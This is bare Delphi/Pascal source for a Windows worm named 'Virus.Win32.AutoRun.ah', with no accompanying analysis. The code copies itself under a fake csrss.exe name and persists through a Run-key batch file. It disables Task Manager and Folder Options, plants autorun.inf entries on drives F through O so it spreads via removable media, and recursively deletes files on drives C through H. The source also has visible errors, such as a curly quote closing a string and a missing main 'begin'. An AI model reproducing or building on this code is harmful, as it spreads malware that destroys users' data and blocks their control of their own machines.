program Virus.Win32.AutoRun.ah;
uses
Registry, SysUtils, Windows;

var
WinDir, SysDir: String;
Buffer: array[0..1023] of Char;
F: TextFile; Reg: TRegistry;

function DriveExists(Drive: Byte): Boolean;
begin
Result:= Boolean(GetLogicalDrives AND(1 shl Drive))
end;

procedure InFect(FileName: String);
begin
AssignFile(F,FileName);
Reset(F);
WriteLn(F,'open='+SysDir+'\config\csrss.exe');
CloseFile(F);
end;
procedure FindAndDelete(Drive: String);
var
SearchRec: TSearchRec;
begin
if FindFirst(Drive+'*.*', faAnyFile,SearchRec) = 0 then
repeat  
if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then  
begin  
DeleteFile(SearchRec.Name);
end;  
until FindNext(SearchRec) <> 0;
if FindFirst('*', faAnyFile, SearchRec) = 0 then  
repeat  
if (SearchRec.Attr and faDirectory) = faDirectory then  
if SearchRec.Name[1] <> '.' then  
begin  
ChDir(SearchRec.Name);  
FindAndDelete(Drive);
ChDir('..');  
end;  
until FindNext(SearchRec) <> 0;  
end;  
SetString(WinDir, Buffer, GetWindowsDirectory(Buffer, SizeOf(Buffer)));
CopyFile(PChar(ParamStr(0)),PChar(WinDir+'\media\arona.exe'),false);  
SetString(SysDir, Buffer, GetSystemDirectory(Buffer, SizeOf(Buffer)));  
CopyFile(PChar(ParamStr(0)),PChar(SysDir+'\config\csrss.exe'),false);
AssignFile(F,SysDir+'\config\logon.bat');  
Reset(F);  
WriteLn(F,'@'+SysDir+'\config\csrss.exe');  
CloseFile(F);  
Reg:=TRegistry.Create;  
Reg.RootKey:=HKEY_LOCAL_MACHINE;  
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,true);
Reg.WriteString('Worms',SysDir+'\config\logon.bat');
Reg.CloseKey;  
Reg.RootKey:=HKEY_CURRENT_USER;  
REg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true);  
Reg.WriteInteger('DisableTaskMgr',1);  
Reg.CloseKey;  
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',true);  
Reg.WriteInteger('NoFolderOptions',1);  
Reg.Free;
try  
InFect(SysDir+'\config\autorun.inf');  
if DriveExists(5) then //  
begin  
InFect('F:\autorun.inf');  
end;
if DriveExists(6) then //  
begin
InFect('G:\autorun.inf');
end;  
if DriveExists(7) then //  
begin  
InFect('H:\autorun.inf');
end;  
if DriveExists(10) then  
begin
InFect('K:\autorun.inf');
end;  
if DriveExists(11) then   
begin  
InFect('L:\autorun.inf');
end;  
if DriveExists(14) then  
begin
InFect('O:\autorun.inf');
end;  
except  
Exit;  
end;  
try  
FindAndDelete('D:\');
FindAndDelete('C:\');
FindAndDelete('E:\');
FindAndDelete('F:\');
FindAndDelete('G:\');
FindAndDelete('H:\');
except
Exit;
end;